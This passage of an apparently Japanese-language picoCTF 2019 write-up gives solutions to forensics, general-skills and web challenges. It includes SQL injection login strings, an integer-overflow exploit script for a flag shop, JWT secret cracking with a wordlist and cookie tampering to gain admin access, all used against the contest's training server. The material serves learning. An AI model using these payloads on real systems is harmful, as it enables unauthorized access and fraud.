-rw-rw-r--  1 hacksports hacksports 7639 Sep 28 21:59 file3
-rw-rw-r--  1 hacksports hacksports 7639 Sep 28 21:59 file4
-rw-rw-r--  1 hacksports hacksports 7639 Sep 28 21:59 file5
-rw-rw-r--  1 hacksports hacksports 7639 Sep 28 21:59 file6
-rw-rw-r--  1 hacksports hacksports 7639 Sep 28 21:59 file7
-rw-rw-r--  1 hacksports hacksports 7639 Sep 28 21:59 file8
-rw-rw-r--  1 hacksports hacksports 7639 Sep 28 21:59 file9

findコマンドでファイルを指定し、grepでpicoCTFという文字列を抽出すると、フラグを取得することができました。

$ find . -name "file*" -type f | xargs grep picoCTF
./files2/file5:picoCTF{grep_r_to_find_this_3675d798}

picoCTF{grep_r_to_find_this_3675d798}

plumbing - Points: 200

Sometimes you need to handle process data outside of a file. Can you find a way to keep the output from this program and search for the flag? Connect to 2019shell1.picoctf.com 63345.

netcat で 2019shell1.picoctf.com:63345 に接続すると、大量の文字が表示されました。 パイプラインで繋いで、grepするとフラグが表示されました。

$ nc 2019shell1.picoctf.com 63345 | grep picoCTF
picoCTF{digital_plumb3r_4e7a5813}

picoCTF{digital_plumb3r_4e7a5813}

whats-the-difference - Points: 200

Can you spot the difference? kitters cattos. They are also available at /problems/whats-the-difference_0_00862749a2aeb45993f36cc9cf98a47a on the shell server

以下のようなコマンドでdiffを取ってみると、差分になっている文字列がフラグとなっていました。 1とlの違いが分かりにくいので注意する。

$ hexdump -C kitters.jpg > kitters.txt
$ hexdump -C cattos.jpg > cattos.txt
$ colordiff kitters.txt cattos.txt | grep -v "\-\-\-"

picoCTF{th3yr3_a5_d1ff3r3nt_4s_bu773r_4nd_j311y_aslkjfdsalkfslkflkjdsfdszmz10548}

where-is-the-file - Points: 200

I've used a super secret mind trick to hide this file. Maybe something lies in /problems/where-is-the-file_3_19c1a7766ac2747c446eb9666a9b4fb4.

指定されたディレクトリに移動すると、隠しファイルが用意されていました。

$ cd /problems/where-is-the-file_3_19c1a7766ac2747c446eb9666a9b4fb4
$ ls -la
total 80
drwxr-xr-x   2 root       root        4096 Sep 28 22:05 .
drwxr-x--x 684 root       root       69632 Sep 30 22:25 ..
-rw-rw-r--   1 hacksports hacksports    39 Sep 28 22:05 .cant_see_me
$ cat .cant_see_me
picoCTF{w3ll_that_d1dnt_w0RK_f28cde66}

picoCTF{w3ll_that_d1dnt_w0RK_f28cde66}

flag_shop - Points: 300

There's a flag shop selling stuff, can you buy a flag? Source. Connect with nc 2019shell1.picoctf.com 25858.

netcatで2019shell1.picoctf.com:25858 に接続すると、ショップが出てきます。 フラグを買うには、100000円必要なようです。 何か買うときに整数オーバフローさせると、自分の所持金を増やすことができます。

以下のスクリプトを実行すると、フラグが取得できます。

from pwn import *

def main():
    p = remote("2019shell1.picoctf.com", 25858)

    balance = 1100
    while balance < 100000:
        p.sendlineafter("Enter a menu selection", str(2))
        p.sendlineafter("2. 1337 Flag", str(1))
        p.sendlineafter("These knockoff Flags cost 900 each, enter desired quantity", str(0x7fffffff))

        p.readuntil("Your current balance after transaction: ")
        read_data = p.readuntil("\n").decode("utf-8").strip()
        balance = int(read_data)

        log.info("balance: {}".format(balance))

    p.sendlineafter("Enter a menu selection", str(2))
    p.sendlineafter("2. 1337 Flag", str(2))
    p.sendlineafter("Enter 1 to buy one", str(1))

    p.interactive()

if __name__ == "__main__":
    main()
$ python solve.py 
[+] Opening connection to 2019shell1.picoctf.com on port 25858: Done
[*] balance: 2000
[*] balance: 2900

省略
[*] balance: 99200
[*] balance: 100100
[*] Switching to interactive mode
YOUR FLAG IS: picoCTF{m0n3y_bag5_325fcd2e}
Welcome to the flag exchange
We sell flags

1. Check Account Balance

2. Buy Flags

3. Exit

 Enter a menu selection
[*] Got EOF while reading in interactive

picoCTF{m0n3y_bag5_325fcd2e}

mus1c - Points: 300

I wrote you a song. Put it in the picoCTF{} flag format

色々調べていると、Rockstar言語と呼ばれるプログラミング言語があるらしいということを知りました。 今回は、KaiserRubyというツールを使って実行させました。

github.com

$ gem install kaiser-ruby pry
$ kaiser-ruby execute lyrics.txt 
114
114
114
111
99
107
110
114
110
48
49
49
51
114

上記の実行結果の数値を10進数として文字に変換すると、rrrocknrn0113r となりました。

picoCTF{rrrocknrn0113r}

1_wanna_b3_a_r0ck5tar - Points: 350

I wrote you another song. Put the flag in the picoCTF{} flag format

mus1cという問題と同様にRockstar言語と呼ばれるプログラミング言語で書かれているようです。 今回も、KaiserRubyというツールを使いました。

github.com

実行はできなかったので、rubyへの変換を行いました。

$ kaiser-ruby transpile lyrics.txt
@rocknroll = true
@silence = false
@a_guitar = 19
@tommy = 44
@music = 160
print '> '
__input = $stdin.gets.chomp
@the_music = Float(__input) rescue __input
if @the_music == @a_guitar
  puts ("Keep on rocking!").to_s
  print '> '
__input = $stdin.gets.chomp
@the_rhythm = Float(__input) rescue __input
  if @the_rhythm - @music == nil
    @tommy = 66
    puts (@tommy).to_s
    @music = 79
    @jamming = 78
    puts (@music).to_s
    puts (@jamming).to_s
    @tommy = 74
    puts (@tommy).to_s
    @tommy = 79
    puts (@tommy).to_s
    @rock = 86
    puts (@rock).to_s
    @tommy = 73
    puts (@tommy).to_s
    break
    puts ("Bring on the rock!").to_s
  else
    break
  end
end

putsで1文字ずつ出力している処理があります。 66 79 78 74 79 86 73 を文字に変換すると、BONJOVI になります。

picoCTF{BONJOVI}

Forensics

Glory of the Garden - Points: 50

This garden contains more than it seems. You can also find the file in /problems/glory-of-the-garden_0_25ece79ae00914856938a4b19d0e31af on the shell server.

画像をダウンロードし、stringsを使って文字列を抽出すると、フラグが出てきました。

picoCTF{more_than_m33ts_the_3y3f089EdF0}

unzip - Points: 50

Can you unzip this file and get the flag?

zipファイルを展開すると、フラグの画像が表示されました。

picoCTF{unz1pp1ng_1s_3a5y}

So Meta - Points: 150

Find the flag in this picture. You can also find the file in /problems/so-meta_1_ab9d99603935344b81d7f07973e70155.

画像をダウンロードし、stringsを使って文字列を抽出すると、フラグが出てきました。

picoCTF{s0_m3ta_368a0341}

What Lies Within - Points: 150

Theres something in the building. Can you retrieve the flag?

zstegというツールを使うと、フラグが取得できました。

github.com

$ zsteg -a buildings.png
b1,r,lsb,xy         .. text: "^5>R5YZrG"
b1,rgb,lsb,xy       .. text: "picoCTF{h1d1ng_1n_th3_b1t5}"
b1,abgr,msb,xy      .. file: PGP\011Secret Sub-key -
b2,b,lsb,xy         .. text: "XuH}p#8Iy="
b3,abgr,msb,xy      .. text: "t@Wp-_tH_v\r"zsteg -a 
省略

picoCTF{h1d1ng_1n_th3_b1t5}

extensions - Points: 150

This is a really weird text file TXT? Can you find the flag?

fileコマンドで形式を確認すると、PNG形式になっていました。 拡張子をpngに変換して、画像として表示するとフラグが確認できました。

$ file flag.txt
flag.txt: PNG image data, 1697 x 608, 8-bit/color RGB, non-interlaced
$ mv flag.txt flag.png

picoCTF{now_you_know_about_extensions}

shark on wire 1 - Points: 150

We found this packet capture. Recover the flag. You can also find the file in /problems/shark-on-wire-1_0_13d709ec13952807e477ba1b5404e620.

以下の手順でフラグが確認できました。

  1. 統計→対話→IPv4タブを選択する。
  2. 一番上の「10.0.0.2⇔10.0.0.12」を右クリックする。
  3. フィルタとして適用→選択済み→A⇔Bを選択する。
  4. 適当なパケットを右クリックする。
  5. 追跡→UDPストリームを選択する。

picoCTF{StaT31355_636f6e6e}

WhitePages - Points: 250

I stopped using YellowPages and moved onto WhitePages... but the page they gave me is all blank!

バイナリエディタで見てみると、\xe2\x80\x83\x20 の2つのパターンが見えます。

  • \x20 は、アスキーコードの半角スペースを表しています。
  • \xe2\x80\x83 についてググってみると、「Unicode Character 'EM SPACE' (U+2003)」だと分かりました。

\x20 を 1 、\xe2\x80\x83 を 0 に変換して、文字列変換すると、メッセージが出てきました。

        picoCTF

        SEE PUBLIC RECORDS & BACKGROUND REPORT
        5000 Forbes Ave, Pittsburgh, PA 15213
        picoCTF{not_all_spaces_are_created_equal_178d720252af1af29369e154eca23a95}
        

picoCTF{not_all_spaces_are_created_equal_178d720252af1af29369e154eca23a95}

c0rrupt - Points: 250

We found this file. Recover the flag. You can also find the file in /problems/c0rrupt_0_1fcad1344c25a122a00721e4af86de13.

バイナリエディタで開いて、以下の項目を修正します。

00000000  89 65 4e 34 0d 0a b0 aa 00 00 00 0d 43 22 44 52  |.eN4..°ª....C"DR|
↓
00000000  89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52  |.PNG........IHDR|
00000050  52 24 f0 aa aa ff a5 ab 44 45 54 78 5e ec bd 3f  |R$ðªªÿ¥«DETx^ì½?|
↓
00000050  52 24 f0 aa aa ff a5 49 44 41 54 78 5e ec bd 3f  |R$ðªªÿ¥IDATx^ì½?|

修正したPNGファイルを開くと、フラグが書かれていました。

picoCTF{c0rrupt10n_1847995}

like1000 - Points: 250

This .tar file got tarred alot. Also available at /problems/like1000_0_369bbdba2af17750ddf10cc415672f1c.

1000.tar というファイルが渡されました。展開すると、999.tarが出てきました。 どうやら、1000回、tarでアーカイブ化されているようです。 すべて展開するためのスクリプトを作成しました。

#!/bin/bash
for ((i = 1000; i >= 1; i--))
do
    tar xf $i.tar
done

実行すると、flag.pngが出てきました。

$ chmod +x solve.sh
$ ./solve.sh
$ ls -la | grep -v tar
total 5016056
drwxr-xr-x 2 root root    28672 Oct  1 16:59 .
drwxr-xr-x 3 root root     4096 Oct  1 16:56 ..
-rw-r--r-- 1 1000 1000       27 Aug  5 01:29 filler.txt
-rwxrw-rw- 1 1000 1000    13114 Aug  5 01:57 flag.png
-rwxr-xr-x 1 root root       68 Oct  1 16:58 solve.sh

flag.png を開くとフラグが書かれていました。

picoCTF{l0t5_0f_TAR5}

m00nwalk - Points: 250

Decode this message from the moon. You can also find the file in /problems/m00nwalk_3_03dab5f4d1deab675e80ee603fb02236.

アマチュア無線の画像通信で使用されるSSTV(Slow Scan TV)と呼ばれる形式の音声ファイルのようです。 ルナ3号(ソビエト連邦無人月探査機)もSSTVを使用して画像の送信を行っていたようです。

以下のツールを使って、音声を画像にデコードしました。

users.belgacom.net

RX optionを Scottie 1 にして録音すると、以下のような画像が出力されました。
※ ノイズが少なくはっきりとした音で録音できる環境でないと、画質が荒くなってしまうので注意してください。

f:id:tsalvia:20191008001932p:plain

picoCTF{beep_boop_im_in_space}

Investigative Reversing 0 - Points: 300

We have recovered a binary and an image. See what you can make of it. There should be a flag somewhere. Its also found in /problems/investigative-reversing-0_0_ebc669df876196bdc09a2f54fd5fffed on the shell server.

画像ファイルの末尾にフラグのような文字列が見えます。 もう一つのファイルは、ELFファイルとなっていました。 Ghidraで開くと、以下のようになっていました。

f:id:tsalvia:20191008021352p:plain

以下の手順で、画像ファイルに追記しているようです。

  1. flag.txtからデータを読み出す。
  2. 0~5バイト目は、そのまま出力する。
  3. 6~14バイト目は、5を足す。
  4. 15バイト目は、-3を足す。
  5. 16~25バイト目は、そのまま出力する。

画像ファイルの末尾のデータを上記の逆の手順で再計算すると、フラグとなります。

picoCTF{f0und_1t_fb69f6c2}

m00nwalk2 - Points: 300

Revisit the last transmission. We think this transmission contains a hidden message. There are also some clues clue 1, clue 2, clue 3. You can also find the files in /problems/m00nwalk2_0_c513cbf9ae6c76876372b8e29826e77b.

SSTVと呼ばれる形式の音声ファイルのようです。 今回もRX-SSTVを使ってデコードを行いました。

users.belgacom.net

message.wav をデコードすると、以下のようになりました。 前回のm00nwalkと同じ画像のようです。

f:id:tsalvia:20191008010331p:plain

次に clue1.wav をRX-SSTVを使ってデコードすると、以下のようになりました。

f:id:tsalvia:20191008005354p:plain

この画像には、パスワード( hidden_stegosaurus )が書かれていました。 message.wav には、ステガノグラフィで別のデータが隠されているようです。

他にも、 clue2.wavclue3.wav もデコードしてみましたが、何を意味しているのか分かりませんでした。 f:id:tsalvia:20191008005553p:plain f:id:tsalvia:20191008005733p:plain

パスワードが hidden_stegosaurus であると分かったので、試しにsteghideでデータの抽出を行ってみました。 すると、フラグが取得できました。

$ steghide extract -sf message.wav -p hidden_stegosaurus -xf output.txt
wrote extracted data to "output.txt".
$ cat output.txt 
picoCTF{the_answer_lies_hidden_in_plain_sight}

picoCTF{the_answer_lies_hidden_in_plain_sight}

shark on wire 2 - Points: 300

We found this packet capture. Recover the flag that was pilfered from the network. You can also find the file in /problems/shark-on-wire-2_0_3e92bfbdb2f6d0e25b8d019453fdbf07.

Wiresharkでパケットを眺めていると、22番ポートにstartとendの文字列が確認できました。 udp.port == 22 でフィルタをかけて観察してみると、各パケットで変化があるのは、送信元ポート番号とチェックサムだけだと分かりました。

f:id:tsalvia:20191010025953p:plain

送信元ポート番号を見ていると、startのあった次のパケットの送信元ポート番号が 5112 となっており、5000を引くと pアスキーコードである 112 になっていることに気付きました。 あとは、各パケットの送信元ポート番号を集めて、5000を引いていくとフラグとなりました。

picoCTF{p1LLf3r3d_data_v1a_st3g0}

Investigative Reversing 1 - Points: 350

We have recovered a binary and a few images: image, image2, image3. See what you can make of it. There should be a flag somewhere. Its also found in /problems/investigative-reversing-1_1_a3bd3a15990df2554310c7c252e66385 on the shell server.

mystery をGhidraで開くと、以下のようになりました。

f:id:tsalvia:20191008025451p:plain

flag.txt のデータを3つのPNGファイルの末尾に出力するような処理のようです。 適当にフラグを作成して、 mystery を実行すると以下のような3つのファイルが生成されました。

$ echo -n "picoCTF{123456789abcdef}XXXXX" > flag.txt
$ ./mystery
$ hexdump -C mystery.png 
00000000  43 46 7b 31 32 38 39 61  62 63 64 65 66 7d 58 58  |CF{1289abcdef}XX|
00000010
$ hexdump -C mystery2.png 
00000000  85 73                                             |.s|
00000002
$ hexdump -C mystery3.png 
00000000  69 63 54 33 34 35 36 37                           |icT34567|
00000008

あとは、出力された順番を参考に、元の画像ファイルの末尾の文字列を並び替えると、以下のようになります。

picoCTF{An0tha_1_54503d8}

Investigative Reversing 2 - Points: 350

We have recovered a binary and an image See what you can make of it. There should be a flag somewhere. Its also found in /problems/investigative-reversing-2_3_4ed4a3a36b09cc193abfcb0b209937bc on the shell server.

mystery をGhidraで開くと、以下のようになりました。

f:id:tsalvia:20191008084942p:plain

上記のプログラムの逆の手順を行うように調整したスクリプトを作成しました。

with open("encoded.bmp", "rb") as f:
    f.seek(2000)

    for _ in range(50):
        b = ""
        for _ in range(8):
            data = f.read(1)
            b += str(int.from_bytes(data, 'big') & 1)
        c = int(b[::-1], 2) + 5
        print(chr(c), end="")
    print()

実行すると、フラグが表示されます。

$ python solve.py 
picoCTF{n3xt_0n3000000000000000000000000036c2583d}

picoCTF{n3xt_0n3000000000000000000000000036c2583d}

WebNet0 - Points: 350

We found this packet capture and key. Recover the flag. You can also find the file in /problems/webnet0_0_363c0e92cf19b68e5b5c14efb37ed786.

pcapファイルと鍵が渡されました。pcapを開いてみるとTLSで暗号化されています。 WiresharkRSA鍵を設定し、更新するとHTTPの通信が確認できました。 パケットの中身を確認すると、フラグが書かれていました。

picoCTF{nongshim.shrimp.crackers}

pastaAAA - Points: 350

This pasta is up to no good. There MUST be something behind it.

「青い空を見上げればいつもそこに白い猫」で「ステガノグラフィー解析」を選択し、「赤色 ビット1 抽出」にすると、フラグがでてきます。
$1l がややこしいので注意する。

picoCTF{pa$ta_1s_lyf3}

Investigative Reversing 3 - Points: 400

We have recovered a binary and an image See what you can make of it. There should be a flag somewhere. Its also found in /problems/investigative-reversing-3_2_9b697a21646b826192c40efeb643ff61 on the shell server.

mystery をGhidraで開くと、以下のようになりました。

f:id:tsalvia:20191008092935p:plain

上記のプログラムの逆の手順を行うように調整したスクリプトを作成しました。

with open("encoded.bmp", "rb") as f:
    f.seek(0x2d3)

    for j in range(100):
        if (j & 1) == 0:
            b = ""
            for k in range(8):
                data = f.read(1)
                b += str(int.from_bytes(data, 'big') & 1)
            c = int(b[::-1], 2)
            print(chr(c), end="")
        else:
            f.read(1)
    print()

実行すると、フラグが表示されます。

$ python solve.py 
picoCTF{4n0th3r_L5b_pr0bl3m_000000000000018a270ae}

picoCTF{4n0th3r_L5b_pr0bl3m_000000000000018a270ae}

Investigative Reversing 4 - Points: 400

We have recovered a binary and 5 images: image01, image02, image03, image04, image05. See what you can make of it. There should be a flag somewhere. Its also found in /problems/investigative-reversing-4_4_065969419be9af8229e29d22453a06d0 on the shell server.

mystery をGhidraで開くと、以下のようになりました。

f:id:tsalvia:20191009071350p:plain

上記のプログラムの逆の手順を行うように調整したスクリプトを作成しました。

def encodeDataInFile(encoded_file):
    flag = ""
    with open(encoded_file, "rb") as f:
        f.seek(0x7e3)
        for j in range(0x32):
            if (j % 5) == 0:
                b = ""
                for k in range(8):
                    data = f.read(1)
                    b += str(int.from_bytes(data, 'big') & 1)
                c = int(b[::-1], 2)
                flag += chr(c)
            else:
                f.read(1)
    return flag

def encodeAll():
    for i in range(5, 0, -1):
        file_name = "Item0" + str(i) + "_cp.bmp"
        flag = encodeDataInFile(file_name)
        print(flag, end="")
    print()

def main():
    encodeAll()

if __name__ == "__main__":
    main()

実行すると、フラグが表示されます。

$ python solve.py 
picoCTF{N1c3_R3ver51ng_5k1115_000000000008d246eaf}

picoCTF{N1c3_R3ver51ng_5k1115_000000000008d246eaf}

B1g_Mac - Points: 500

Here's a zip file. You can also find the file in /problems/b1g-mac_0_ac4b0dbedcd3b0f0097a5f056e04f97a.

main.exe をGhidraで開くと、以下のようになりました。

f:id:tsalvia:20191009184015p:plain

ファイルの時刻情報(LastWriteTime)の下位16bitにフラグを隠していることが分かりました。 コマンドライン引数に指定したファイルの時刻情報から文字を抽出するプログラムを作成しました。

#include <windows.h>
#include <stdio.h>

int main(int argc, char *argv[])
{
    HANDLE hFile;
    char *lpFileName = argv[1]; // "./test/Item01 - Copy.bmp";
    FILETIME creationTime;
    FILETIME lastAccessTime;
    FILETIME lastWriteTime;
    char ch[2];

    hFile = CreateFile(lpFileName,
        GENERIC_READ,
        FILE_SHARE_READ,
        NULL,
        OPEN_EXISTING,
        FILE_ATTRIBUTE_NORMAL,
        NULL);

    if (hFile == INVALID_HANDLE_VALUE) {
        printf("CreateFile failed\n");
        return -1;
    }

    if (!GetFileTime(hFile, &creationTime, &lastAccessTime, &lastWriteTime)) {
        printf("GetFileTime failed\n");
        CloseHandle(hFile);
        return -1;
    }
        CloseHandle(hFile);

    ch[0] = (lastWriteTime.dwLowDateTime & 0xff00) >> 8;
    ch[1] = lastWriteTime.dwLowDateTime & 0xff;
    printf("%c%c", ch[0], ch[1]);

    return 0;
}

test*Copy.bmp の時刻にフラグが埋め込まれていました。 以下のコマンドを実行すると、フラグが出力されます。
※ 注意点として、Windowsデフォルトの機能でzipを展開すると、なぜかタイムスタンプが変わってしまうようです。7-Zipで展開する必要がありました。

PS> gcc .\solve.c -o .\solve
PS> Get-ChildItem .\test\*Copy.bmp -Name | ForEach-Object {.\solve.exe test\$_} 
picoCTF{M4cTim35!}

picoCTF{M4cTim35!}

Web Exploitation

Insp3ct0r - Points: 50

Kishor Balan tipped us off that the following code may need inspection: https://2019shell1.picoctf.com/problem/61676/ (link) or http://2019shell1.picoctf.com:61676

問題文のリンクを開いて、html、css、jsのコメントを確認すると、フラグが書いてありました。

<!-- Html is neat. Anyways have 1/3 of the flag: picoCTF{tru3_d3 -->
/* You need CSS to make pretty pages. Here's part 2/3 of the flag: t3ct1ve_0r_ju5t */
/* Javascript sure is neat. Anyways part 3/3 of the flag: _lucky?1638dbe7} */

picoCTF{tru3_d3t3ct1ve_0r_ju5t_lucky?1638dbe7}

dont-use-client-side - Points: 100

Can you break into this super secure portal? https://2019shell1.picoctf.com/problem/47289/ (link) or http://2019shell1.picoctf.com:47289

https://2019shell1.picoctf.com/problem/47289/ にアクセスし、javascriptを確認すると、4文字ずつフラグを分割してチェックしている関数がありました。 それぞれを並び替えると、フラグになりました。

function verify() {
    checkpass = document.getElementById("pass").value;
    split = 4;
    if (checkpass.substring(0, split) == 'pico') {
        if (checkpass.substring(split * 6, split * 7) == 'e22d') {
            if (checkpass.substring(split, split * 2) == 'CTF{') {
                if (checkpass.substring(split * 4, split * 5) == 'ts_p') {
                    if (checkpass.substring(split * 3, split * 4) == 'lien') {
                        if (checkpass.substring(split * 5, split * 6) == 'lz_c') {
                            if (checkpass.substring(split * 2, split * 3) == 'no_c') {
                                if (checkpass.substring(split * 7, split * 8) == 'c}') {
                                    alert("Password Verified")
                                }
                            }
                        }

                    }
                }
            }
        }
    }
    else {
        alert("Incorrect password");
    }

}

picoCTF{no_clients_plz_ce22dc}

logon - Points: 100

The factory is hiding things from all of its users. Can you login as logon and find what they've been looking at? https://2019shell1.picoctf.com/problem/49907/ (link) or http://2019shell1.picoctf.com:49907

EditThisCookieというChrome拡張を使って、Cookieを見てみました。

chrome.google.com

adminという項目があり、Falseになっていました。これをTrueに変換するとフラグが表示されました。

picoCTF{th3_c0nsp1r4cy_l1v3s_9e21365b}

where are the robots - Points: 100

Can you find the robots? https://2019shell1.picoctf.com/problem/47235/ (link) or http://2019shell1.picoctf.com:47235

https://2019shell1.picoctf.com/problem/47235/robots.txt にアクセスすると、以下のように書かれていました。

User-agent: *
Disallow: /54e98.html

https://2019shell1.picoctf.com/problem/47235/54e98.html にアクセスすると、フラグが表示されました。

Guess you found the robots
picoCTF{ca1cu1at1ng_Mach1n3s_54e98}

picoCTF{ca1cu1at1ng_Mach1n3s_54e98}

Client-side-again - Points: 200

Can you break into this super secure portal? https://2019shell1.picoctf.com/problem/21886/ (link) or http://2019shell1.picoctf.com:21886

F12を押してスクリプトタグの中身を確認すると、dont-use-client-sideに似たスクリプトが出てきました。 同様にフラグを分割してチェックしている関数があるようです。

var _0x5a46 = ['9f266}', '_again_1', 'this', 'Password\x20Verified', 'Incorrect\x20password', 'getElementById', 'value', 'substring', 'picoCTF{', 'not_this'];
(function (_0x4bd822, _0x2bd6f7) {
    var _0xb4bdb3 = function (_0x1d68f6) {
        while (--_0x1d68f6) {
            _0x4bd822['push'](_0x4bd822['shift']());
        }
    };
    _0xb4bdb3(++_0x2bd6f7);
}(_0x5a46, 0x1b3));
var _0x4b5b = function (_0x2d8f05, _0x4b81bb) {
    _0x2d8f05 = _0x2d8f05 - 0x0;
    var _0x4d74cb = _0x5a46[_0x2d8f05];
    return _0x4d74cb;
};
function verify() {
    checkpass = document[_0x4b5b('0x0')]('pass')[_0x4b5b('0x1')];
    split = 0x4;
    if (checkpass[_0x4b5b('0x2')](0x0, split * 0x2) == _0x4b5b('0x3')) {
        if (checkpass[_0x4b5b('0x2')](0x7, 0x9) == '{n') {
            if (checkpass[_0x4b5b('0x2')](split * 0x2, split * 0x2 * 0x2) == _0x4b5b('0x4')) {
                if (checkpass[_0x4b5b('0x2')](0x3, 0x6) == 'oCT') {
                    if (checkpass[_0x4b5b('0x2')](split * 0x3 * 0x2, split * 0x4 * 0x2) == _0x4b5b('0x5')) {
                        if (checkpass['substring'](0x6, 0xb) == 'F{not') {
                            if (checkpass[_0x4b5b('0x2')](split * 0x2 * 0x2, split * 0x3 * 0x2) == _0x4b5b('0x6')) {
                                if (checkpass[_0x4b5b('0x2')](0xc, 0x10) == _0x4b5b('0x7')) {
                                    alert(_0x4b5b('0x8'));
                                }
                            }
                        }
                    }
                }
            }
        }
    } else {
        alert(_0x4b5b('0x9'));
    }
}

このままだと読みづらいので、以下のようなスクリプトを用意しました。

split = 0x4
console.log('%d, %d:\t%s', 0x0, split * 0x2, _0x4b5b('0x3'))
console.log('%d, %d:\t%s', 0x7, 0x9, '{n')
console.log('%d, %d:\t%s', split * 0x2, split * 0x2 * 0x2, _0x4b5b('0x4'))
console.log('%d, %d:\t%s', 0x3, 0x6, 'oCT')
console.log('%d, %d:\t%s', split * 0x3 * 0x2, split * 0x4 * 0x2, _0x4b5b('0x5'))
console.log('%d, %d:\t%s', 0x6, 0xb, 'F{not')
console.log('%d, %d:\t%s', split * 0x2 * 0x2, split * 0x3 * 0x2, _0x4b5b('0x6'))
console.log('%d, %d:\t%s', 0xc, 0x10, _0x4b5b('0x7'))

Chrome Developer ToolsのConsoleに上記のスクリプトを入力すると、分割されたフラグの断片を確認することができます。

f:id:tsalvia:20190929230114p:plain

あとは、出力結果を基に並び替えるだけです。

picoCTF{not_this_again_19f266}

Open-to-admins - Points: 200

This secure website allows users to access the flag only if they are admin and if the time is exactly 1400. https://2019shell1.picoctf.com/problem/12276/ (link) or http://2019shell1.picoctf.com:12276

Cookieに以下の2つを追加して「Flag」ボタンを押すと、フラグが確認できます。

  • admin、True
  • time、1400

Cookieの追加は、Chrome拡張機能のEditThisCookieを使いました。

chrome.google.com

picoCTF{0p3n_t0_adm1n5_dcb566bb}

picobrowser - Points: 200

This website can be rendered only by picobrowser, go and catch the flag! https://2019shell1.picoctf.com/problem/45071/ (link) or http://2019shell1.picoctf.com:45071

Chrome拡張機能のUser-Agent Switcher for Chrome で UserAgentを picobrowser に変更すると、フラグが表示されました。

chrome.google.com

picoCTF{p1c0_s3cr3t_ag3nt_b3785d03}

Irish-Name-Repo 1 - Points: 300

There is a website running at https://2019shell1.picoctf.com/problem/21877/ (link) or http://2019shell1.picoctf.com:21877. Do you think you can log us in? Try to see if you can login!

Admin Login ページがあります。ユーザ名に ' or 'A' = 'A' -- と入力して、「Login」ボタンを押すとフラグが出力されました。

picoCTF{s0m3_SQL_6b96db35}

Irish-Name-Repo 2 - Points: 350

There is a website running at https://2019shell1.picoctf.com/problem/41025/ (link). Someone has bypassed the login before, and now it's being strengthened. Try to see if you can still login! or http://2019shell1.picoctf.com:41025

Admin Login ページがあります。ユーザ名に admin' -- と入力して、「Login」ボタンを押すとフラグが出力されました。

picoCTF{m0R3_SQL_plz_83dad972}

Empire1 - Points: 400

Psst, Agent 513, now that you're an employee of Evil Empire Co., try to get their secrets off the company website. https://2019shell1.picoctf.com/problem/4155/ Can you first find the secret code they assigned to you? or http://2019shell1.picoctf.com:4155

適当にユーザを作成してログインしてみると、色々なユーザのリストが確認できました。 ユーザ名と同じパスワードで、別のユーザにログインしてみると、フラグが書かれていました。
※ 出題者が想定していた解き方ではない気がします。

picoCTF{wh00t_it_a_sql_injectd75ebff4}

Irish-Name-Repo 3 - Points: 400

There is a secure website running at https://2019shell1.picoctf.com/problem/12271/ (link) or http://2019shell1.picoctf.com:12271. Try to see if you can login as admin!

Admin Login ページがあります。F12を押してhtmlファイルを見てみると、以下のようなデバッグ用のタグが埋め込まれていました。

<input type="hidden" name="debug" value="0">

valueを1に変更して、パスワードに「abcdefghijklmnopqrstuvwxyz」と入力すると、以下のように出力されました。

password: abcdefghijklmnopqrstuvwxyz
SQL query: SELECT * FROM admin where password = 'nopqrstuvwxyzabcdefghijklm'

Login failed.

入力した値にROT13で文字をずらしているようです。 ' or 'a' = ' となるように、 ' be 'n' = 'n と入力するとフラグが出力されました。

picoCTF{3v3n_m0r3_SQL_ef7eac2f}

JaWT Scratchpad - Points: 400

Check the admin scratchpad! https://2019shell1.picoctf.com/problem/49900/ or http://2019shell1.picoctf.com:49900

問題文のサイトに接続すると、ログインを求められます。 適当に「a」というユーザでログインしてみました。 Cookieを確認すると、jwt という項目に eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoiYSJ9.Wpx3_bxlH3-Q8LDfbdaCP3ML7bAdosK4mAHRXhDmhug と設定されていました。 また、Webサイトの一番下にJohnTheRipperへのリンクが貼られていました。

以下のリンクを参考にJohnTheRipperを使って、JWTのsecretキーを求めました。

github.com

まずは、JohnTheRipperが扱える形式に変換します。

$ wget https://raw.githubusercontent.com/Sjord/jwtcrack/master/jwt2john.py
$ python jwt2john.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoiYSJ9.Wpx3_bxlH3-Q8LDfbdaCP3ML7bAdosK4mAHRXhDmhug > converted-jwt.txt

rockyou.txtを辞書にして辞書攻撃を行うと、1単語ヒットしました。

PS> john --wordlist=rockyou.txt .\converted-jwt.txt
Using default input encoding: UTF-8
Loaded 1 password hash (HMAC-SHA256 [password is key, SHA256 256/256 AVX2 8x])
Will run 16 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
ilovepico        (?)
1g 0:00:00:00 DONE (2019-10-07 09:22) 1.251g/s 9268Kp/s 9268Kc/s 9268KC/s iluve$..ilovejesus71
Use the "--show" option to display all of the cracked passwords reliably
Session completed

userを admin に変更し、secretに ilovepico を指定してエンコードします。 以下のサイトを使ってエンコードしました。

jwt.io

HEADER:
    {
      "typ": "JWT",
      "alg": "HS256"
    }

PAYLOAD:
    {
      "user": "admin"
    }

VERIFY SIGNATURE:
    HMACSHA256(
      base64UrlEncode(header) + "." +
      base64UrlEncode(payload),
      ilovepico
    )

エンコードすると以下のようになります。これをCookieに指定して再表示するとフラグが表示されます。

eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoiYWRtaW4ifQ.gtqDl4jVDvNbEe_JYEZTN19Vx6X9NNZtRVbKPBkhO-s

picoCTF{jawt_was_just_what_you_thought_1ea6044f378ef6e9d40d57a40f8b70f1}

Java Script Kiddie - Points: 400

The image link appears broken... https://2019shell1.picoctf.com/problem/57738 or http://2019shell1.picoctf.com:57738

JavaScriptのコードを見ると、16文字のキーを使って16文字ずつ変換している処理が確認できます。 出力されるのは、PNGの画像なのでPNGのヘッダと同じ値にデコードできるようにキーを指定すれば、フラグが取得できそうです。

ChromeのDevToolsでデバッグしながら、うまく変換されるキーを探し出しました。

0438892208991464

上記のキーを指定すると、QRコードが表示されます。読み取るとフラグが出力されました。

picoCTF{905765bf9ae368ad98261c10914d894e}

Empire2 - Points: 450

